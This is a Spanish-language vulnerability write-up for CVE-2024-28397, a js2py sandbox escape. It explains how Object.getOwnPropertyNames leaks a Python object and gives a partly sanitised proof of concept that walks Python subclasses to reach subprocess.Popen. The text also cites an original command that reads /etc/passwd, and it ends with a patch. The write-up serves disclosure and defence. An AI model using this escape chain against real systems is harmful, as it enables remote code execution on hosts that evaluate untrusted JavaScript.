
Análisis detallado de CVE-2024-28397, una vulnerabilidad de escape de sandbox en js2py que permite RCE a través del recorrido de objetos de Python. Incluye análisis de código, PoC y recomendaciones de corrección para investigación defensiva.
js2py es un popular paquete de Python que puede evaluar código JavaScript dentro del intérprete de Python. Se utiliza en varios rastreadores web para analizar código JavaScript en sitios web.
Existe una vulnerabilidad en la implementación de una variable global dentro de js2py, que permite a un atacante obtener una referencia a un objeto Python en el entorno js2py, lo que permite escapar del entorno JS y ejecutar comandos arbitrarios en el host.
Normalmente, un usuario llamaría a js2py.disable_pyimport() para evitar que el código JavaScript escape del entorno de js2py. Pero con esta vulnerabilidad, un atacante puede evadir esta restricción y ejecutar cualquier comando en el host objetivo.
El actor de amenazas puede alojar un sitio web que contenga un archivo JavaScript malicioso o enviar un script malicioso a través de una API HTTP para que la víctima lo analice. Al hacerlo, el actor puede lograr la ejecución remota de código en el host ejecutando comandos arbitrarios del shell en el objetivo.
js2py es una biblioteca de Python comúnmente utilizada en rastreadores web, que se usa para analizar y ejecutar código JS en un entorno nativo de Python. Los rastreadores generalmente usan js2py para analizar el código JS obtenido de la web, simulando así el entorno del navegador.
Sin embargo, js2py tiene una función que es extremadamente peligrosa para los rastreadores: soporta importar y usar paquetes de Python en JS, lo que significa que js2py permite que el código JS manipule varias bibliotecas de Python e interactúe directamente con el entorno de Python. Precisamente por esto, podemos usar un método similar a Jinja SSTI y, en el entorno de js2py, usar un objeto Python para encontrar la clase subprocess.Popen y lograr RCE.
Además, dado que js2py es un paquete de la era de Python2, ampliamente utilizado y sin mantenimiento durante mucho tiempo, debería ser relativamente fácil de analizar.
Después de establecer puntos de interrupción, se puede encontrar que el lugar donde realmente se analiza el código JS es la función Eval de host/jseval.py. Al establecer puntos de interrupción en ella, se puede ver el código Python convertido por js2py.
Por ejemplo, este fragmento de código JS:
let a = 114
console.log(a)
Finalmente, se analizará en este fragmento de código Python:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
Se puede ver que las variables en la capa JS se almacenan todas en la variable Python var. Todos los valores de la capa JS se almacenan de forma limpia como la clase PyJs (aquí Js es en realidad una función, explicado más adelante). Las funciones también se llaman a través de callprop. En circunstancias normales, el código JS no puede tocar objetos Python.
Al revisar el código, se notó que al autor le gusta mucho usar la concatenación de cadenas para construir el código Python final, por lo que surgió la idea de si se podría construir código JS para generar código Python ilegal, construyendo así código Python arbitrario y ejecutándolo. Pero considerando que este camino es mucho más difícil que el siguiente, no se exploró más a fondo.
Para obtener un objeto Python e implementar RCE, lo primero que hay que ver, por supuesto, es cómo se convierten los objetos Python en objetos PyJs.
Primero, localicemos la implementación de la función Js en base.py. El papel de la función Js es convertir el valor Python entrante en el valor PyJs correspondiente, permitiendo así que el código JS manipule estos valores.
def Js(val, Clamped=False):
'''Convierte el tipo Py al tipo PyJs'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# Se supone que esto acelera las cosas. Puede que no sea el caso
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # varias líneas omitidas aquí
else: # intentar convertir a objeto js
return py_wrap(val)
Se puede ver que las estructuras de datos básicas de Python como bool, float, list, etc. se convertirán en clases PyJs dedicadas, mientras que otros tipos de datos serán manejados por py_wrap y finalmente se convertirán en la clase PyObjectWrapper.
Las clases PyJs comunes representan números, booleanos y otros datos comunes, mientras que PyObjectWrapper representa datos especiales como módulos de Python. Por lo tanto, mientras obtengamos un dato de tipo PyObjectWrapper, podemos usar un método de acceso a atributos similar a Jinja SSTI para lograr RCE.
En general, los datos de tipo PyObjectWrapper solo se pueden obtener cuando la función de importar paquetes de Python está habilitada, pero debido a que js2py no ha tenido mantenimiento durante mucho tiempo y no consideró cuidadosamente las diferencias entre Python2 y Python3, finalmente ocurrió una vulnerabilidad de escape del sandbox.
Inserte una nota al margen: Al observar la implementación de PyJs, vi que el autor escribió estas líneas de código:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
Se puede decir que el autor detesta extremadamente Python3.
Mientras js2py proporciona la función de convertir código JS a código Python, también proporciona múltiples objetos integrados como console y Object para soportar la ejecución normal del código JS.
Nuestro objetivo final es eludir la restricción de pyimport y obtener un objeto PyObjectWrapper. Del análisis anterior, se puede ver que para obtener un objeto PyObjectWrapper de la nada, solo podemos comenzar desde la implementación de objetos integrados y extraer un objeto PyObjectWrapper de ellos.
Comience a escanear el código de implementación de los objetos integrados. Desde constructors/jsobject.py, se puede ver la implementación de varias funciones en el objeto Object, incluyendo funciones comúnmente usadas como Object.keys.
Luego, puede ver esta función:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
js2py usa dict para representar objetos en JS. La función keys() aquí llama a keys() del diccionario de Python. Cualquiera que haya estudiado Python sabe que en Python2, esta función devuelve una lista, mientras que en Python3 devuelve una vista dict_keys. Según la implementación anterior de la función Js, este dict_keys se convertirá en PyObjectWrapper, y por lo tanto podemos lograr RCE.
Primero verifique si getOwnPropertyNames puede obtener un PyObjectWrapper:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
Imprimió PyObjectWrapper(dict_keys([])), por supuesto que puede.
Luego, basado en este objeto, obtenemos la función __getattribute__, y podemos lograr RCE fácilmente. Al escribir el PoC, se pensó de manera demasiado complicada; en realidad, solo usando __class__.__base__ es suficiente para obtener la función __getattribute__.
Luego, basado en la función __getattribute__, obtenemos el objeto object, y luego escribimos una función recursiva para encontrar cualquier clase de cualquier módulo. Aquí, para RCE, lo que se busca es subprocess.Popen.
NOTA (desinfectado): El fragmento de código a continuación se muestra con fines educativos y de investigación. Ha sido desinfectado para evitar facilitar su mal uso: comandos sensibles del shell y ejecución directa del sistema han sido reemplazados con marcadores de posición. No ejecute esto contra sistemas en producción o sin parches.
import js2py
code = """
let cmd = "DUMMY_CMD" # reemplazar con un comando de prueba seguro en un laboratorio (ej. 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// La siguiente llamada invocaría subprocess.Popen con argumentos — en la versión desinfectada
// reemplazamos la invocación real del sistema con un marcador de posición por razones de seguridad.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[DESINFECTADO] Ejecución de PoC omitida para evitar mal uso")
result
"""
# Nota: js2py.eval_js(code) intencionalmente omitido para evitar ejecutar código de exploit en este repositorio.
Número de versión del componente afectado:
Productos afectados:
Pasos para reproducir (solo en laboratorio):
pip install js2py para instalar js2py y ejecute un script PoC desinfectado en un entorno de laboratorio aislado. El PoC original intentaba ejecutar comandos como head -n 1 /etc/passwd y calculadoras; en este repositorio se han reemplazado con marcadores de posición seguros.PyObjectWrapper a partir de Object.getOwnPropertyNames({}), lo que permite la navegación de atributos para alcanzar las partes internas de Python.Dado que el problema radica en la función getOwnPropertyNames, convertir el dict_keys que devuelve en una lista normal soluciona el problema. Un parche sugerido es envolver obj.own.keys() con list(...) antes de devolverlo.
Este repositorio es solo para fines educativos y de investigación defensiva. No utilice ninguna de las informaciones o códigos aquí contenidos para atacar sistemas sin autorización explícita. Los fragmentos de PoC han sido desinfectados para evitar facilitar su mal uso.
Compilado y traducido para fines de investigación y defensa.